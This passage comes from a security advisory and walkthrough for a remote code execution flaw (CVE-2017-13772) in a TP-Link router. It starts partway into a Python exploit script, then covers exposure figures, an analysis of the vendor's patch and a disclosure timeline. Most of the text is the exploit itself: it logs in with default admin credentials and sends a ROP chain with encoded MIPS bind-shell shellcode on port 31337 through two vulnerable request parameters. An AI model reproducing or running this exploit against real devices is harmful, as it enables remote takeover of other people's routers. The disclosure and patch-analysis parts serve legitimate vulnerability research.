Exploit\n” “This exploit will open a bind shell on the remote target\n” “The port is 31337, you can change that in the code if you wish\n” “This exploit requires authentication, if you know the creds, then\n” “use the -u -p options, otherwise default is admin:admin\n” “___________________________________________________________________________” )def login(ip, user, pwd): print “[+] Attempting to login to http://%s %s:%s”%(ip,user,pwd) #### Generate the auth cookie of the form b64enc(‘admin:’ + md5(‘admin’)) hash = hashlib.md5() hash.update(pwd) auth_string = “%s:%s” %(user, hash.hexdigest()) encoded_string = base64.b64encode(auth_string)print “[+] Encoded authorisation: %s” %encoded_string#### Send the request url = “http://” + ip + “/userRpm/LoginRpm.htm?Save=Save” print “[+] sending login to ” + url req = urllib2.Request(url) req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %encoded_string) resp = urllib2.urlopen(req) #### The server generates a random path for further requests, grab that here data = resp.read() next_url = “http://%s/%s/userRpm/” %(ip, data.split(“/”)[3]) print “[+] Got random path for next stage, url is now %s” %next_url return (next_url, encoded_string) #custom bind shell shellcode with very simple xor encoder #followed by a sleep syscall to flush cash before running #bad chars = 0x20, 0x00 shellcode = ( #encoder “\x22\x51\x44\x44\x3c\x11\x99\x99\x36\x31\x99\x99” “\x27\xb2\x05\x4b” #0x27b2059f for first_exploit “\x22\x52\xfc\xa0\x8e\x4a\xfe\xf9” “\x02\x2a\x18\x26\xae\x43\xfe\xf9\x8e\x4a\xff\x41” “\x02\x2a\x18\x26\xae\x43\xff\x41\x8e\x4a\xff\x5d” “\x02\x2a\x18\x26\xae\x43\xff\x5d\x8e\x4a\xff\x71” “\x02\x2a\x18\x26\xae\x43\xff\x71\x8e\x4a\xff\x8d” “\x02\x2a\x18\x26\xae\x43\xff\x8d\x8e\x4a\xff\x99” “\x02\x2a\x18\x26\xae\x43\xff\x99\x8e\x4a\xff\xa5” “\x02\x2a\x18\x26\xae\x43\xff\xa5\x8e\x4a\xff\xad” “\x02\x2a\x18\x26\xae\x43\xff\xad\x8e\x4a\xff\xb9” “\x02\x2a\x18\x26\xae\x43\xff\xb9\x8e\x4a\xff\xc1” “\x02\x2a\x18\x26\xae\x43\xff\xc1” #sleep “\x24\x12\xff\xff\x24\x02\x10\x46\x24\x0f\x03\x08” “\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa” “\x27\xa4\xfb\xfa\x01\x01\x01\x0c\x21\x8c\x11\x5c” ################ encoded shellcode ############### “\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x98\x59\xb9\xbe\x01\xc0\x28\x27\x28\x06” “\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\x23\x39\x44\x44\x30\x50\xff\xff” “\x24\x0e\xff\xef\x01\xc0\x70\x27\x24\x0d” “\x7a\x69” #<————————- PORT 0x7a69 (31337) “\x24\x0f\xfd\xff\x01\xe0\x78\x27\x01\xcf\x78\x04\x01\xaf\x68\x25\xaf\xad” “\xff\xe0\xaf\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff\xec\x9b\x89\xb9\xbc” “\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5\xff\xe0\x24\x02\x10\x49\x01\x01” “\x01\x0c\x24\x0f\x73\x50” “\x9b\x89\xb9\xbc\x24\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01\x0c\x24\x0f” “\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x10\x48” “\x01\x01\x01\x0c\x24\x0f\x73\x50\x30\x50\xff\xff\x9b\x89\xb9\xbc\x24\x0f” “\xff\xfd\x01\xe0\x28\x27\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f\x73\x50” “\x9b\x89\xb9\xbc\x28\x05\x01\x01\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f” “\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\xbd\x9b\x96\x46\x01\x01\x01\x0c” “\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce” “\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8” “\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c\x24\x02” “\x10\x46\x24\x0f\x03\x68\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa” “\x27\xa4\xfb\xfe\x01\x01\x01\x0c\x21\x8c\x11\x5c” ) ###### useful gadgets ####### nop = “\x22\x51\x44\x44” gadg_1 = “\x2A\xB3\x7C\x60” gadg_2 = “\x2A\xB1\x78\x40” sleep_addr = “\x2a\xb3\x50\x90” stack_gadg = “\x2A\xAF\x84\xC0” call_code = “\x2A\xB2\xDC\xF0” def first_exploit(url, auth): # trash $s1 $ra rop = “A”*164 + gadg_2 + gadg_1 + “B”*0x20 + sleep_addr + “C”*4 rop += “C”*0x1c + call_code + “D”*4 + stack_gadg + nop*0x20 + shellcode params = {‘ping_addr’: rop, ‘doType’: ‘ping’, ‘isNew’: ‘new’, ‘sendNum’: ’20’, ‘pSize’: ’64’, ‘overTime’: ‘800’, ‘trHops’: ’20’} new_url = url + “PingIframeRpm.htm?” + urllib.urlencode(params) print “[+] sending exploit…” print “[+] Wait a couple of seconds before connecting” print “[+] When you are finished do http -r to reset the http service” req = urllib2.Request(new_url) req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %auth) req.add_header(‘Referer’, url + “DiagnosticRpm.htm”) resp = urllib2.urlopen(req) def second_exploit(url, auth): url = url + “WanStaticIpV6CfgRpm.htm?” # trash s0 s1 s2 s3 s4 ret shellcode payload = “A”*111 + “B”*4 + gadg_2 + “D”*4 + “E”*4 + “F”*4 + gadg_1 + “a”*0x1c payload += “A”*4 + sleep_addr + “C”*0x20 + call_code + “E”*4 payload += stack_gadg + “A”*4 + nop*10 + shellcode + “B”*7 print len(payload) params = {‘ipv6Enable’: ‘on’, ‘wantype’: ‘2’, ‘ipType’: ‘2’, ‘mtu’: ‘1480’, ‘dnsType’: ‘1’, ‘dnsserver2’: payload, ‘ipAssignType’: ‘0’, ‘ipStart’: ‘1000’, ‘ipEnd’: ‘2000’, ‘time’: ‘86400’, ‘ipPrefixType’: ‘0’, ‘staticPrefix’: ‘AAAA’, ‘staticPrefixLength’: ’64’, ‘Save’: ‘Save’, ‘RenewIp’: ‘1’} new_url = url + urllib.urlencode(params) print “[+] sending exploit…” print “[+] Wait a couple of seconds before connecting” print “[+] When you are finished do http -r to reset the http service” req = urllib2.Request(new_url) req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %auth) req.add_header(‘Referer’, url + “WanStaticIpV6CfgRpm.htm”) resp = urllib2.urlopen(req) if __name__ == ‘__main__’: print banner username = “admin” password = “admin” parser = OptionParser() parser.add_option(“-t”, “–target”, dest=”host”, help=”target ip address”) parser.add_option(“-u”, “–user”, dest=”username”, help=”username for authentication”, default=”admin”) parser.add_option(“-p”, “–password”, dest=”password”, help=”password for authentication”, default=”admin”) (options, args) = parser.parse_args() if options.host is None: parser.error(“[x] A host name is required at the minimum [x]”) if options.username is not None: username = options.username if options.password is not None: password = options.password (next_url, encoded_string) = login(options.host, username, password) ###### Both exploits result in the same bind shell ###### #first_exploit(data[0], data[1]) second_exploit(next_url, encoded_string) ``` ### IMPACT Currently, a quick search on shodan reveals 7200 of these devices connected to the internet. (This number has grown by 3500 in a month) ![](https://images.seebug.org/1508813653617) ### PATCHING THE VULNERABILITY To patch these vulnerabilities, the vendor needed to replace the majority of the calls to strcpy with safer operations, such as strncpy. To their credit, they achieved this very quickly and provided a full patch within a week of reporting the other vulnerable areas of code. I will quickly analyse the patches that were made. The simplest thing to do first is to look at the cross-references to strcpy, from the vulnerable binary we had over 700 calls, and in the patched version we can see that this is no longer the case: ![](https://images.seebug.org/1508813718121) Further analysis on these locations shows that these calls do not operate on user input, for example: ![](https://images.seebug.org/1508813737319) Now if we analyse an area that we know was vulnerable, such as the dnsserver2 GET parameter: ![](https://images.seebug.org/1508813762742) For quick reference, $a0 = dest, $a1 = src, $a2 = size. So following this we can see that: 1. 0x2C is loaded into $a2 before loc_452E0C. 2. The “dnsserver2” parameter is then grabbed using httpGetEnv. 3. If httpGetEnv returns 0 then the buffer var_24f is zeroed out. 4. Otherwise, the pointer returned is moved to $a1. 5. The size 0x2C is loaded into $a2. 6. The destination is already in $a0 (it is moved in the delay slot before the branch occurs). 7. After this, either memset or strncpy is called (through $t9), depending on the result of httpGetEnv. As we can see this does not allow a buffer overflow to occur as only a maximum number of bytes can be copied into the buffer. Note that var_24F is a stack based buffer of size 0x2C. In fact we can now see that the vulnerable pattern that was presented to the vendor has been replaced with a secure pattern. Therefore the patch properly protects against buffer overflows by removing calls to strcpy on input provided by the user. #### Tools Used: * Binwalk * IDA * Qemu * mipsrop.py plugin * USB 2.0 to TTL UART 6PIN CP2102 Module Serial Converter ### Credit Tim Carrington – @__invictus_ ### Timeline * Disclosed to vendor – 11/8/2017 * Response from vendor, request for initial advisory – 14/8/2017 * Initial advisory sent – 14/8/2017 * Beta patch sent for testing by vendor – 17/8/2017 * Patch confirmed to work, however other vulnerable locations were identified by myself, a second exploit was written to demonstrate this. Sent to vendor – 17/8/2017 * Response by vendor, will look into the other vulnerable locations – 18/8/2017 * Second patch sent for testing by vendor – 25/8/17 * Patch confirmed to mitigate vulnerabilities (500+ calls to strcpy removed) – 29/8/2017 * Patch released – 28/9/2017 (Only HW V5 US) id SSV:96771 last seen 2017-11-19 modified 2017-10-24 published 2017-10-24 reporter Root title REMOTE CODE EXECUTION (CVE-2017-13772) WALKTHROUGH ON A TP-LINK ROUTER
References
- http://packetstormsecurity.com/files/158999/TP-Link-WDR4300-Remote-Code-Execution.html
- http://packetstormsecurity.com/files/158999/TP-Link-WDR4300-Remote-Code-Execution.html
- https://www.exploit-db.com/exploits/43022/
- https://www.exploit-db.com/exploits/43022/
- https://www.fidusinfosec.com/tp-link-remote-code-execution-cve-2017-13772/
- https://www.fidusinfosec.com/tp-link-remote-code-execution-cve-2017-13772/